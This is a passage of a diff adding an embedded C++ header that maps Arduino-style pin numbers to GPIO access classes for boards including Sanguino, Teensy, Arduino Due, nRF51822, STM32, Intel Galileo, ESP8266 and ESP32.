+#define P25 Pc3 +#define P26 Pc4 +#define P27 Pc5 +#define P28 Pc6 +#define P29 Pc7 +#define P30 Pd4 +#define P31 Pd7 +// UNO*Pro + +#elif defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284__) || defined(__AVR_ATmega1284P__) +// Sanguino pin numbers +// Homepage: http://sanguino.cc/hardware +// Hardware add-on: https://github.com/Lauszus/Sanguino +#define P0 Pb0 +#define P1 Pb1 +#define P2 Pb2 +#define P3 Pb3 +#define P4 Pb4 +#define P5 Pb5 +#define P6 Pb6 +#define P7 Pb7 +#define P8 Pd0 +#define P9 Pd1 +#define P10 Pd2 +#define P11 Pd3 +#define P12 Pd4 +#define P13 Pd5 +#define P14 Pd6 +#define P15 Pd7 +#define P16 Pc0 +#define P17 Pc1 +#define P18 Pc2 +#define P19 Pc3 +#define P20 Pc4 +#define P21 Pc5 +#define P22 Pc6 +#define P23 Pc7 +#define P24 Pa0 +#define P25 Pa1 +#define P26 Pa2 +#define P27 Pa3 +#define P28 Pa4 +#define P29 Pa5 +#define P30 Pa6 +#define P31 Pa7 +// Sanguino + +#else +#error "Please define board in avrpins.h" + +#endif // Arduino pin definitions + +#elif defined(__arm__) + +// pointers are 32 bits on ARM +#define pgm_read_pointer(p) pgm_read_dword(p) + +#if defined(CORE_TEENSY) && (defined(__MK20DX128__) || defined(__MK20DX256__) || defined(__MK64FX512__) || defined(__MK66FX1M0__)) + +#include "core_pins.h" +#include "avr_emulation.h" + +#define GPIO_BITBAND_ADDR(reg, bit) (((uint32_t)&(reg) - 0x40000000) * 32 + (bit) * 4 + 0x42000000) +#define GPIO_BITBAND_PTR(reg, bit) ((uint8_t *)GPIO_BITBAND_ADDR((reg), (bit))) + +#define MAKE_PIN(className, baseReg, pinNum, configReg) \ +class className { \ +public: \ + static void Set() { \ + *GPIO_BITBAND_PTR(baseReg, pinNum) = 1; \ + } \ + static void Clear() { \ + *GPIO_BITBAND_PTR(baseReg, pinNum) = 0; \ + } \ + static void SetDirRead() { \ + configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ + *(GPIO_BITBAND_PTR(baseReg, pinNum) + 640) = 0; \ + } \ + static void SetDirWrite() { \ + configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ + *(GPIO_BITBAND_PTR(baseReg, pinNum) + 640) = 1; \ + } \ + static uint8_t IsSet() { \ + return *(GPIO_BITBAND_PTR(baseReg, pinNum) + 512); \ + } \ +}; + +MAKE_PIN(P0, CORE_PIN0_PORTREG, CORE_PIN0_BIT, CORE_PIN0_CONFIG); +MAKE_PIN(P1, CORE_PIN1_PORTREG, CORE_PIN1_BIT, CORE_PIN1_CONFIG); +MAKE_PIN(P2, CORE_PIN2_PORTREG, CORE_PIN2_BIT, CORE_PIN2_CONFIG); +MAKE_PIN(P3, CORE_PIN3_PORTREG, CORE_PIN3_BIT, CORE_PIN3_CONFIG); +MAKE_PIN(P4, CORE_PIN4_PORTREG, CORE_PIN4_BIT, CORE_PIN4_CONFIG); +MAKE_PIN(P5, CORE_PIN5_PORTREG, CORE_PIN5_BIT, CORE_PIN5_CONFIG); +MAKE_PIN(P6, CORE_PIN6_PORTREG, CORE_PIN6_BIT, CORE_PIN6_CONFIG); +MAKE_PIN(P7, CORE_PIN7_PORTREG, CORE_PIN7_BIT, CORE_PIN7_CONFIG); +MAKE_PIN(P8, CORE_PIN8_PORTREG, CORE_PIN8_BIT, CORE_PIN8_CONFIG); +MAKE_PIN(P9, CORE_PIN9_PORTREG, CORE_PIN9_BIT, CORE_PIN9_CONFIG); +MAKE_PIN(P10, CORE_PIN10_PORTREG, CORE_PIN10_BIT, CORE_PIN10_CONFIG); +MAKE_PIN(P11, CORE_PIN11_PORTREG, CORE_PIN11_BIT, CORE_PIN11_CONFIG); +MAKE_PIN(P12, CORE_PIN12_PORTREG, CORE_PIN12_BIT, CORE_PIN12_CONFIG); +MAKE_PIN(P13, CORE_PIN13_PORTREG, CORE_PIN13_BIT, CORE_PIN13_CONFIG); +MAKE_PIN(P14, CORE_PIN14_PORTREG, CORE_PIN14_BIT, CORE_PIN14_CONFIG); +MAKE_PIN(P15, CORE_PIN15_PORTREG, CORE_PIN15_BIT, CORE_PIN15_CONFIG); +MAKE_PIN(P16, CORE_PIN16_PORTREG, CORE_PIN16_BIT, CORE_PIN16_CONFIG); +MAKE_PIN(P17, CORE_PIN17_PORTREG, CORE_PIN17_BIT, CORE_PIN17_CONFIG); +MAKE_PIN(P18, CORE_PIN18_PORTREG, CORE_PIN18_BIT, CORE_PIN18_CONFIG); +MAKE_PIN(P19, CORE_PIN19_PORTREG, CORE_PIN19_BIT, CORE_PIN19_CONFIG); +MAKE_PIN(P20, CORE_PIN20_PORTREG, CORE_PIN20_BIT, CORE_PIN20_CONFIG); +MAKE_PIN(P21, CORE_PIN21_PORTREG, CORE_PIN21_BIT, CORE_PIN21_CONFIG); +MAKE_PIN(P22, CORE_PIN22_PORTREG, CORE_PIN22_BIT, CORE_PIN22_CONFIG); +MAKE_PIN(P23, CORE_PIN23_PORTREG, CORE_PIN23_BIT, CORE_PIN23_CONFIG); +MAKE_PIN(P24, CORE_PIN24_PORTREG, CORE_PIN24_BIT, CORE_PIN24_CONFIG); +MAKE_PIN(P25, CORE_PIN25_PORTREG, CORE_PIN25_BIT, CORE_PIN25_CONFIG); +MAKE_PIN(P26, CORE_PIN26_PORTREG, CORE_PIN26_BIT, CORE_PIN26_CONFIG); +MAKE_PIN(P27, CORE_PIN27_PORTREG, CORE_PIN27_BIT, CORE_PIN27_CONFIG); +MAKE_PIN(P28, CORE_PIN28_PORTREG, CORE_PIN28_BIT, CORE_PIN28_CONFIG); +MAKE_PIN(P29, CORE_PIN29_PORTREG, CORE_PIN29_BIT, CORE_PIN29_CONFIG); +MAKE_PIN(P30, CORE_PIN30_PORTREG, CORE_PIN30_BIT, CORE_PIN30_CONFIG); +MAKE_PIN(P31, CORE_PIN31_PORTREG, CORE_PIN31_BIT, CORE_PIN31_CONFIG); +MAKE_PIN(P32, CORE_PIN32_PORTREG, CORE_PIN32_BIT, CORE_PIN32_CONFIG); +MAKE_PIN(P33, CORE_PIN33_PORTREG, CORE_PIN33_BIT, CORE_PIN33_CONFIG); +#if defined(__MK64FX512__) || defined(__MK66FX1M0__) +MAKE_PIN(P34, CORE_PIN34_PORTREG, CORE_PIN34_BIT, CORE_PIN34_CONFIG); +MAKE_PIN(P35, CORE_PIN35_PORTREG, CORE_PIN35_BIT, CORE_PIN35_CONFIG); +MAKE_PIN(P36, CORE_PIN36_PORTREG, CORE_PIN36_BIT, CORE_PIN36_CONFIG); +MAKE_PIN(P37, CORE_PIN37_PORTREG, CORE_PIN37_BIT, CORE_PIN37_CONFIG); +MAKE_PIN(P38, CORE_PIN38_PORTREG, CORE_PIN38_BIT, CORE_PIN38_CONFIG); +MAKE_PIN(P39, CORE_PIN39_PORTREG, CORE_PIN39_BIT, CORE_PIN39_CONFIG); +MAKE_PIN(P40, CORE_PIN40_PORTREG, CORE_PIN40_BIT, CORE_PIN40_CONFIG); +MAKE_PIN(P41, CORE_PIN41_PORTREG, CORE_PIN41_BIT, CORE_PIN41_CONFIG); +MAKE_PIN(P42, CORE_PIN42_PORTREG, CORE_PIN42_BIT, CORE_PIN42_CONFIG); +MAKE_PIN(P43, CORE_PIN43_PORTREG, CORE_PIN43_BIT, CORE_PIN43_CONFIG); +MAKE_PIN(P44, CORE_PIN44_PORTREG, CORE_PIN44_BIT, CORE_PIN44_CONFIG); +MAKE_PIN(P45, CORE_PIN45_PORTREG, CORE_PIN45_BIT, CORE_PIN45_CONFIG); +MAKE_PIN(P46, CORE_PIN46_PORTREG, CORE_PIN46_BIT, CORE_PIN46_CONFIG); +MAKE_PIN(P47, CORE_PIN47_PORTREG, CORE_PIN47_BIT, CORE_PIN47_CONFIG); +MAKE_PIN(P48, CORE_PIN48_PORTREG, CORE_PIN48_BIT, CORE_PIN48_CONFIG); +MAKE_PIN(P49, CORE_PIN49_PORTREG, CORE_PIN49_BIT, CORE_PIN49_CONFIG); +MAKE_PIN(P50, CORE_PIN50_PORTREG, CORE_PIN50_BIT, CORE_PIN50_CONFIG); +MAKE_PIN(P51, CORE_PIN51_PORTREG, CORE_PIN51_BIT, CORE_PIN51_CONFIG); +MAKE_PIN(P52, CORE_PIN52_PORTREG, CORE_PIN52_BIT, CORE_PIN52_CONFIG); +MAKE_PIN(P53, CORE_PIN53_PORTREG, CORE_PIN53_BIT, CORE_PIN53_CONFIG); +MAKE_PIN(P54, CORE_PIN54_PORTREG, CORE_PIN54_BIT, CORE_PIN54_CONFIG); +MAKE_PIN(P55, CORE_PIN55_PORTREG, CORE_PIN55_BIT, CORE_PIN55_CONFIG); +MAKE_PIN(P56, CORE_PIN56_PORTREG, CORE_PIN56_BIT, CORE_PIN56_CONFIG); +MAKE_PIN(P57, CORE_PIN57_PORTREG, CORE_PIN57_BIT, CORE_PIN57_CONFIG); +MAKE_PIN(P58, CORE_PIN58_PORTREG, CORE_PIN58_BIT, CORE_PIN58_CONFIG); +MAKE_PIN(P59, CORE_PIN59_PORTREG, CORE_PIN59_BIT, CORE_PIN59_CONFIG); +MAKE_PIN(P60, CORE_PIN60_PORTREG, CORE_PIN60_BIT, CORE_PIN60_CONFIG); +MAKE_PIN(P61, CORE_PIN61_PORTREG, CORE_PIN61_BIT, CORE_PIN61_CONFIG); +MAKE_PIN(P62, CORE_PIN62_PORTREG, CORE_PIN62_BIT, CORE_PIN62_CONFIG); +MAKE_PIN(P63, CORE_PIN63_PORTREG, CORE_PIN63_BIT, CORE_PIN63_CONFIG); +#endif + +#undef MAKE_PIN + +#elif defined(CORE_TEENSY) && (defined(__MKL26Z64__)) + +// we could get lower level by making these macros work properly. +// for now just use the semi optimised version, it costs a lookup in the pin pgm table per op +// but for now it will do. +//#define GPIO_BITBAND_ADDR(reg, bit) (((volatile uint8_t *)&(reg) + ((bit) >> 3))) +//#define GPIO_BITBAND_MASK(reg, bit) (1<<((bit) & 7)) +//#define GPIO_BITBAND_PTR(reg, bit) ((volatile uint8_t *)GPIO_BITBAND_ADDR((reg), (bit))) + +#include "core_pins.h" +#include "avr_emulation.h" + +#define MAKE_PIN(className, baseReg, pinNum, configReg) \ +class className { \ +public: \ + static void Set() { \ + *portSetRegister(pinNum) = digitalPinToBitMask(pinNum); \ + } \ + static void Clear() { \ + *portClearRegister(pinNum) = digitalPinToBitMask(pinNum); \ + } \ + static void SetDirRead() { \ + configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ + *portModeRegister(pinNum) &= ~digitalPinToBitMask(pinNum); \ + } \ + static void SetDirWrite() { \ + configReg = PORT_PCR_SRE | PORT_PCR_DSE | PORT_PCR_MUX(1); \ + *portModeRegister(pinNum) |= digitalPinToBitMask(pinNum); \ + } \ + static uint8_t IsSet() { \ + return (*portInputRegister(pinNum) & digitalPinToBitMask(pinNum)) ? 1 : 0; \ + } \ +}; + +MAKE_PIN(P0, CORE_PIN0_PORTREG, 0, CORE_PIN0_CONFIG); +MAKE_PIN(P1, CORE_PIN1_PORTREG, 1, CORE_PIN1_CONFIG); +MAKE_PIN(P2, CORE_PIN2_PORTREG, 2, CORE_PIN2_CONFIG); +MAKE_PIN(P3, CORE_PIN3_PORTREG, 3, CORE_PIN3_CONFIG); +MAKE_PIN(P4, CORE_PIN4_PORTREG, 4, CORE_PIN4_CONFIG); +MAKE_PIN(P5, CORE_PIN5_PORTREG, 5, CORE_PIN5_CONFIG); +MAKE_PIN(P6, CORE_PIN6_PORTREG, 6, CORE_PIN6_CONFIG); +MAKE_PIN(P7, CORE_PIN7_PORTREG, 7, CORE_PIN7_CONFIG); +MAKE_PIN(P8, CORE_PIN8_PORTREG, 8, CORE_PIN8_CONFIG); +MAKE_PIN(P9, CORE_PIN9_PORTREG, 9, CORE_PIN9_CONFIG); +MAKE_PIN(P10, CORE_PIN10_PORTREG, 10, CORE_PIN10_CONFIG); +MAKE_PIN(P11, CORE_PIN11_PORTREG, 11, CORE_PIN11_CONFIG); +MAKE_PIN(P12, CORE_PIN12_PORTREG, 12, CORE_PIN12_CONFIG); +MAKE_PIN(P13, CORE_PIN13_PORTREG, 13, CORE_PIN13_CONFIG); +MAKE_PIN(P14, CORE_PIN14_PORTREG, 14, CORE_PIN14_CONFIG); +MAKE_PIN(P15, CORE_PIN15_PORTREG, 15, CORE_PIN15_CONFIG); +MAKE_PIN(P16, CORE_PIN16_PORTREG, 16, CORE_PIN16_CONFIG); +MAKE_PIN(P17, CORE_PIN17_PORTREG, 17, CORE_PIN17_CONFIG); +MAKE_PIN(P18, CORE_PIN18_PORTREG, 18, CORE_PIN18_CONFIG); +MAKE_PIN(P19, CORE_PIN19_PORTREG, 19, CORE_PIN19_CONFIG); +MAKE_PIN(P20, CORE_PIN20_PORTREG, 20, CORE_PIN20_CONFIG); +MAKE_PIN(P21, CORE_PIN21_PORTREG, 21, CORE_PIN21_CONFIG); +MAKE_PIN(P22, CORE_PIN22_PORTREG, 22, CORE_PIN22_CONFIG); +MAKE_PIN(P23, CORE_PIN23_PORTREG, 23, CORE_PIN23_CONFIG); +MAKE_PIN(P24, CORE_PIN24_PORTREG, 24, CORE_PIN24_CONFIG); +MAKE_PIN(P25, CORE_PIN25_PORTREG, 25, CORE_PIN25_CONFIG); +MAKE_PIN(P26, CORE_PIN26_PORTREG, 26, CORE_PIN26_CONFIG); + +#undef MAKE_PIN + +#elif defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__) + +// SetDirRead: +// Disable interrupts +// Disable the pull up resistor +// Set to INPUT +// Enable PIO + +// SetDirWrite: +// Disable interrupts +// Disable the pull up resistor +// Set to OUTPUT +// Enable PIO + +#define MAKE_PIN(className, pio, pinMask) \ +class className { \ +public: \ + static void Set() { \ + pio->PIO_SODR = pinMask; \ + } \ + static void Clear() { \ + pio->PIO_CODR = pinMask; \ + } \ + static void SetDirRead() { \ + pio->PIO_IDR = pinMask ; \ + pio->PIO_PUDR = pinMask; \ + pio->PIO_ODR = pinMask; \ + pio->PIO_PER = pinMask; \ + } \ + static void SetDirWrite() { \ + pio->PIO_IDR = pinMask ; \ + pio->PIO_PUDR = pinMask; \ + pio->PIO_OER = pinMask; \ + pio->PIO_PER = pinMask; \ + } \ + static uint8_t IsSet() { \ + return pio->PIO_PDSR & pinMask; \ + } \ +}; + +// See: http://arduino.cc/en/Hacking/PinMappingSAM3X and variant.cpp + +MAKE_PIN(P0, PIOA, PIO_PA8); +MAKE_PIN(P1, PIOA, PIO_PA9); +MAKE_PIN(P2, PIOB, PIO_PB25); +MAKE_PIN(P3, PIOC, PIO_PC28); +MAKE_PIN(P4, PIOC, PIO_PC26); +MAKE_PIN(P5, PIOC, PIO_PC25); +MAKE_PIN(P6, PIOC, PIO_PC24); +MAKE_PIN(P7, PIOC, PIO_PC23); +MAKE_PIN(P8, PIOC, PIO_PC22); +MAKE_PIN(P9, PIOC, PIO_PC21); +MAKE_PIN(P10, PIOC, PIO_PC29); +MAKE_PIN(P11, PIOD, PIO_PD7); +MAKE_PIN(P12, PIOD, PIO_PD8); +MAKE_PIN(P13, PIOB, PIO_PB27); +MAKE_PIN(P14, PIOD, PIO_PD4); +MAKE_PIN(P15, PIOD, PIO_PD5); +MAKE_PIN(P16, PIOA, PIO_PA13); +MAKE_PIN(P17, PIOA, PIO_PA12); +MAKE_PIN(P18, PIOA, PIO_PA11); +MAKE_PIN(P19, PIOA, PIO_PA10); +MAKE_PIN(P20, PIOB, PIO_PB12); +MAKE_PIN(P21, PIOB, PIO_PB13); +MAKE_PIN(P22, PIOB, PIO_PB26); +MAKE_PIN(P23, PIOA, PIO_PA14); +MAKE_PIN(P24, PIOA, PIO_PA15); +MAKE_PIN(P25, PIOD, PIO_PD0); +MAKE_PIN(P26, PIOD, PIO_PD1); +MAKE_PIN(P27, PIOD, PIO_PD2); +MAKE_PIN(P28, PIOD, PIO_PD3); +MAKE_PIN(P29, PIOD, PIO_PD6); +MAKE_PIN(P30, PIOD, PIO_PD9); +MAKE_PIN(P31, PIOA, PIO_PA7); +MAKE_PIN(P32, PIOD, PIO_PD10); +MAKE_PIN(P33, PIOC, PIO_PC1); +MAKE_PIN(P34, PIOC, PIO_PC2); +MAKE_PIN(P35, PIOC, PIO_PC3); +MAKE_PIN(P36, PIOC, PIO_PC4); +MAKE_PIN(P37, PIOC, PIO_PC5); +MAKE_PIN(P38, PIOC, PIO_PC6); +MAKE_PIN(P39, PIOC, PIO_PC7); +MAKE_PIN(P40, PIOC, PIO_PC8); +MAKE_PIN(P41, PIOC, PIO_PC9); +MAKE_PIN(P42, PIOA, PIO_PA19); +MAKE_PIN(P43, PIOA, PIO_PA20); +MAKE_PIN(P44, PIOC, PIO_PC19); +MAKE_PIN(P45, PIOC, PIO_PC18); +MAKE_PIN(P46, PIOC, PIO_PC17); +MAKE_PIN(P47, PIOC, PIO_PC16); +MAKE_PIN(P48, PIOC, PIO_PC15); +MAKE_PIN(P49, PIOC, PIO_PC14); +MAKE_PIN(P50, PIOC, PIO_PC13); +MAKE_PIN(P51, PIOC, PIO_PC12); +MAKE_PIN(P52, PIOB, PIO_PB21); +MAKE_PIN(P53, PIOB, PIO_PB14); +MAKE_PIN(P54, PIOA, PIO_PA16); +MAKE_PIN(P55, PIOA, PIO_PA24); +MAKE_PIN(P56, PIOA, PIO_PA23); +MAKE_PIN(P57, PIOA, PIO_PA22); +MAKE_PIN(P58, PIOA, PIO_PA6); +MAKE_PIN(P59, PIOA, PIO_PA4); +MAKE_PIN(P60, PIOA, PIO_PA3); +MAKE_PIN(P61, PIOA, PIO_PA2); +MAKE_PIN(P62, PIOB, PIO_PB17); +MAKE_PIN(P63, PIOB, PIO_PB18); +MAKE_PIN(P64, PIOB, PIO_PB19); +MAKE_PIN(P65, PIOB, PIO_PB20); +MAKE_PIN(P66, PIOB, PIO_PB15); +MAKE_PIN(P67, PIOB, PIO_PB16); +MAKE_PIN(P68, PIOA, PIO_PA1); +MAKE_PIN(P69, PIOA, PIO_PA0); +MAKE_PIN(P70, PIOA, PIO_PA17); +MAKE_PIN(P71, PIOA, PIO_PA18); +MAKE_PIN(P72, PIOC, PIO_PC30); +MAKE_PIN(P73, PIOA, PIO_PA21); +MAKE_PIN(P74, PIOA, PIO_PA25); // MISO +MAKE_PIN(P75, PIOA, PIO_PA26); // MOSI +MAKE_PIN(P76, PIOA, PIO_PA27); // CLK +MAKE_PIN(P77, PIOA, PIO_PA28); +MAKE_PIN(P78, PIOB, PIO_PB23); // Unconnected + +#undef MAKE_PIN + +#elif defined(RBL_NRF51822) + +#define MAKE_PIN(className, pin) \ +class className { \ +public: \ + static void Set() { \ + nrf_gpio_pin_set(pin); \ + } \ + static void Clear() { \ + nrf_gpio_pin_clear(pin); \ + } \ + static void SetDirRead() { \ + nrf_gpio_cfg_input(pin, NRF_GPIO_PIN_NOPULL); \ + } \ + static void SetDirWrite() { \ + nrf_gpio_cfg_output(pin); \ + } \ + static uint8_t IsSet() { \ + return (uint8_t)nrf_gpio_pin_read(pin); \ + } \ +}; + +// See: pin_transform.c in RBL nRF51822 SDK +MAKE_PIN(P0, Pin_nRF51822_to_Arduino(D0)); +MAKE_PIN(P1, Pin_nRF51822_to_Arduino(D1)); +MAKE_PIN(P2, Pin_nRF51822_to_Arduino(D2)); +MAKE_PIN(P3, Pin_nRF51822_to_Arduino(D3)); +MAKE_PIN(P4, Pin_nRF51822_to_Arduino(D4)); +MAKE_PIN(P5, Pin_nRF51822_to_Arduino(D5)); +MAKE_PIN(P6, Pin_nRF51822_to_Arduino(D6)); +MAKE_PIN(P7, Pin_nRF51822_to_Arduino(D7)); +MAKE_PIN(P8, Pin_nRF51822_to_Arduino(D8)); +MAKE_PIN(P9, Pin_nRF51822_to_Arduino(D9)); // INT +MAKE_PIN(P10, Pin_nRF51822_to_Arduino(D10)); // SS +MAKE_PIN(P11, Pin_nRF51822_to_Arduino(D11)); +MAKE_PIN(P12, Pin_nRF51822_to_Arduino(D12)); +MAKE_PIN(P13, Pin_nRF51822_to_Arduino(D13)); +MAKE_PIN(P14, Pin_nRF51822_to_Arduino(D14)); +MAKE_PIN(P15, Pin_nRF51822_to_Arduino(D15)); +MAKE_PIN(P17, Pin_nRF51822_to_Arduino(D17)); // MISO +MAKE_PIN(P18, Pin_nRF51822_to_Arduino(D18)); // MOSI +MAKE_PIN(P16, Pin_nRF51822_to_Arduino(D16)); // CLK +MAKE_PIN(P19, Pin_nRF51822_to_Arduino(D19)); +MAKE_PIN(P20, Pin_nRF51822_to_Arduino(D20)); +MAKE_PIN(P21, Pin_nRF51822_to_Arduino(D21)); +MAKE_PIN(P22, Pin_nRF51822_to_Arduino(D22)); +MAKE_PIN(P23, Pin_nRF51822_to_Arduino(D23)); +MAKE_PIN(P24, Pin_nRF51822_to_Arduino(D24)); + +#undef MAKE_PIN + +#elif defined(STM32F446xx) +// NUCLEO-F446RE + +#define MAKE_PIN(className, port, pin) \ +class className { \ +public: \ + static void Set() { \ + HAL_GPIO_WritePin(port, pin, GPIO_PIN_SET); \ + } \ + static void Clear() { \ + HAL_GPIO_WritePin(port, pin, GPIO_PIN_RESET); \ + } \ + static void SetDirRead() { \ + static GPIO_InitTypeDef GPIO_InitStruct; \ + GPIO_InitStruct.Pin = pin; \ + GPIO_InitStruct.Mode = GPIO_MODE_INPUT; \ + GPIO_InitStruct.Pull = GPIO_NOPULL; \ + HAL_GPIO_Init(port, &GPIO_InitStruct); \ + } \ + static void SetDirWrite() { \ + static GPIO_InitTypeDef GPIO_InitStruct; \ + GPIO_InitStruct.Pin = pin; \ + GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP; \ + GPIO_InitStruct.Pull = GPIO_NOPULL; \ + GPIO_InitStruct.Speed = GPIO_SPEED_HIGH; \ + HAL_GPIO_Init(port, &GPIO_InitStruct); \ + } \ + static GPIO_PinState IsSet() { \ + return HAL_GPIO_ReadPin(port, pin); \ + } \ +}; + +MAKE_PIN(P0, GPIOA, GPIO_PIN_3); // D0 +MAKE_PIN(P1, GPIOA, GPIO_PIN_2); // D1 +MAKE_PIN(P2, GPIOA, GPIO_PIN_10); // D2 +MAKE_PIN(P3, GPIOB, GPIO_PIN_3); // D3 +MAKE_PIN(P4, GPIOB, GPIO_PIN_5); // D4 +MAKE_PIN(P5, GPIOB, GPIO_PIN_4); // D5 +MAKE_PIN(P6, GPIOB, GPIO_PIN_10); // D6 +MAKE_PIN(P7, GPIOA, GPIO_PIN_8); // D7 +MAKE_PIN(P8, GPIOA, GPIO_PIN_9); // D8 +MAKE_PIN(P9, GPIOC, GPIO_PIN_7); // D9 +MAKE_PIN(P10, GPIOB, GPIO_PIN_6); // D10 +MAKE_PIN(P11, GPIOA, GPIO_PIN_7); // D11 +MAKE_PIN(P12, GPIOA, GPIO_PIN_6); // D12 +MAKE_PIN(P13, GPIOA, GPIO_PIN_5); // D13 + +MAKE_PIN(P14, GPIOA, GPIO_PIN_0); // A0 +MAKE_PIN(P15, GPIOA, GPIO_PIN_1); // A1 +MAKE_PIN(P16, GPIOA, GPIO_PIN_4); // A2 +MAKE_PIN(P17, GPIOB, GPIO_PIN_0); // A3 +MAKE_PIN(P18, GPIOC, GPIO_PIN_1); // A4 +MAKE_PIN(P19, GPIOC, GPIO_PIN_0); // A5 + +#undef MAKE_PIN + +#else +#error "Please define board in avrpins.h" + +#endif + +#elif defined(__ARDUINO_ARC__) + +#include +// Pointers are 32 bits on arc +#define pgm_read_pointer(p) pgm_read_dword(p) + +#define MAKE_PIN(className, pin) \ +class className { \ +public: \ + static void Set() { \ + digitalWrite(pin, HIGH);\ + } \ + static void Clear() { \ + digitalWrite(pin, LOW); \ + } \ + static void SetDirRead() { \ + pinMode(pin, INPUT); \ + } \ + static void SetDirWrite() { \ + pinMode(pin, OUTPUT); \ + } \ + static uint8_t IsSet() { \ + return digitalRead(pin); \ + } \ +}; + +MAKE_PIN(P0, 0); +MAKE_PIN(P1, 1); +MAKE_PIN(P2, 2); +MAKE_PIN(P3, 3); //PWM +MAKE_PIN(P4, 4); +MAKE_PIN(P5, 5); //PWM +MAKE_PIN(P6, 6); //PWM +MAKE_PIN(P7, 7); +MAKE_PIN(P8, 8); +MAKE_PIN(P9, 9); //PWM + +MAKE_PIN(P10, 10); //SPI SS +MAKE_PIN(P11, 11); //SPI MOSI +MAKE_PIN(P12, 12); //SPI MISO +MAKE_PIN(P13, 13); //SPI SCK / BUILTIN LED + +MAKE_PIN(P14, 14); // A0 +MAKE_PIN(P15, 15); // A1 +MAKE_PIN(P16, 16); // A2 +MAKE_PIN(P17, 17); // A3 +MAKE_PIN(P18, 18); // A4 SDA +MAKE_PIN(P19, 19); // A5 SCL +MAKE_PIN(P20, 20); // ATN + +#undef MAKE_PIN + +#elif defined(__ARDUINO_X86__) // Intel Galileo, Intel Galileo 2 and Intel Edison + +#include + +// Pointers are 32 bits on x86 +#define pgm_read_pointer(p) pgm_read_dword(p) + +#if PLATFORM_ID == 0xE1 // Edison platform id +#define pinToFastPin(pin) 1 // As far as I can tell all pins can be used as fast pins +#endif + +// Pin 2 and 3 on the Intel Galileo supports a higher rate, +// so it is recommended to use one of these as the SS pin. + +#define MAKE_PIN(className, pin) \ +class className { \ +public: \ + static void Set() { \ + fastDigitalWrite(pin, HIGH); \ + } \ + static void Clear() { \ + fastDigitalWrite(pin, LOW); \ + } \ + static void SetDirRead() { \ + if (pinToFastPin(pin)) \ + pinMode(pin, INPUT_FAST); \ + else \ + pinMode(pin, INPUT); \ + } \ + static void SetDirWrite() { \ + if (pinToFastPin(pin)) \ + pinMode(pin, OUTPUT_FAST); \ + else \ + pinMode(pin, OUTPUT); \ + } \ + static uint8_t IsSet() { \ + return fastDigitalRead(pin); \ + } \ +}; + +MAKE_PIN(P0, 0); +MAKE_PIN(P1, 1); +MAKE_PIN(P2, 2); +MAKE_PIN(P3, 3); +MAKE_PIN(P4, 4); +MAKE_PIN(P5, 5); +MAKE_PIN(P6, 6); +MAKE_PIN(P7, 7); +MAKE_PIN(P8, 8); +MAKE_PIN(P9, 9); +MAKE_PIN(P10, 10); +MAKE_PIN(P11, 11); +MAKE_PIN(P12, 12); +MAKE_PIN(P13, 13); +MAKE_PIN(P14, 14); // A0 +MAKE_PIN(P15, 15); // A1 +MAKE_PIN(P16, 16); // A2 +MAKE_PIN(P17, 17); // A3 +MAKE_PIN(P18, 18); // A4 +MAKE_PIN(P19, 19); // A5 + +#undef MAKE_PIN + +#elif defined(__MIPSEL__) +// MIPSEL (MIPS architecture using a little endian byte order) + +// MIPS size_t = 4 +#define pgm_read_pointer(p) pgm_read_dword(p) + +#define MAKE_PIN(className, pin) \ +class className { \ +public: \ + static void Set() { \ + digitalWrite(pin, HIGH);\ + } \ + static void Clear() { \ + digitalWrite(pin, LOW); \ + } \ + static void SetDirRead() { \ + pinMode(pin, INPUT); \ + } \ + static void SetDirWrite() { \ + pinMode(pin, OUTPUT); \ + } \ + static uint8_t IsSet() { \ + return digitalRead(pin); \ + } \ +}; + +// 0 .. 13 - Digital pins +MAKE_PIN(P0, 0); // RX +MAKE_PIN(P1, 1); // TX +MAKE_PIN(P2, 2); // +MAKE_PIN(P3, 3); // +MAKE_PIN(P4, 4); // +MAKE_PIN(P5, 5); // +MAKE_PIN(P6, 6); // +MAKE_PIN(P7, 7); // +MAKE_PIN(P8, 8); // +MAKE_PIN(P9, 9); // +MAKE_PIN(P10, 10); // +MAKE_PIN(P11, 11); // +MAKE_PIN(P12, 12); // +MAKE_PIN(P13, 13); // + +#undef MAKE_PIN + +#elif defined(ESP8266) || defined(ESP32) + +#define MAKE_PIN(className, pin) \ +class className { \ +public: \ + static void Set() { \ + digitalWrite(pin, HIGH);\ + } \ + static void Clear() { \ + digitalWrite(pin, LOW); \ + } \ + static void SetDirRead() { \ + pinMode(pin, INPUT); \ + } \ + static void SetDirWrite() { \ + pinMode(pin, OUTPUT); \ + } \ + static uint8_t IsSet() { \ + return digitalRead(pin); \ + } \ +}; + +#if defined(ESP8266) + +// Workaround the following issue: https://github.com/esp8266/Arduino/pull/5735 +#undef pgm_read_ptr_aligned +#ifdef __cplusplus +#define pgm_read_ptr_aligned(addr) (*reinterpret_cast(addr)) +#else +#define pgm_read_ptr_aligned(addr) (*(const void* const*)(addr)) +#endif + +#undef pgm_read_ptr +#if PGM_READ_UNALIGNED +#define pgm_read_ptr(p) pgm_read_ptr_unaligned(p) +#else +#define pgm_read_ptr(p) pgm_read_ptr_aligned(p) +#endif + +#ifdef pgm_read_pointer +#undef pgm_read_pointer +#endif +#define pgm_read_pointer(p) pgm_read_ptr(p) + +// Pinout for ESP-12 module +// 0 .. 16 - Digital pins +// GPIO 6 to 11 and 16 are not usable in this library. + +MAKE_PIN(P0, 0); +MAKE_PIN(P1, 1); // TX0 +MAKE_PIN(P2, 2); // TX1 +MAKE_PIN(P3, 3); // RX0 +MAKE_PIN(P4, 4); // SDA +MAKE_PIN(P5, 5); // SCL +MAKE_PIN(P12, 12); // MISO +MAKE_PIN(P13, 13); // MOSI +MAKE_PIN(P14, 14); // SCK +MAKE_PIN(P15, 15); // SS + +#elif defined(ESP32) + +// Workaround strict-aliasing warnings +#ifdef pgm_read_word +#undef pgm_read_word +#endif +#ifdef pgm_read_dword +#undef pgm_read_dword +#endif +#ifdef pgm_read_float +#undef pgm_read_float +#endif +#ifdef pgm_read_ptr +#undef pgm_read_ptr +#endif + +#define pgm_read_word(addr) ({ \ + typeof(addr) _addr = (addr); \ + *(const unsigned short *)(_addr); \ +}) +#define pgm_read_dword(addr) ({ \ 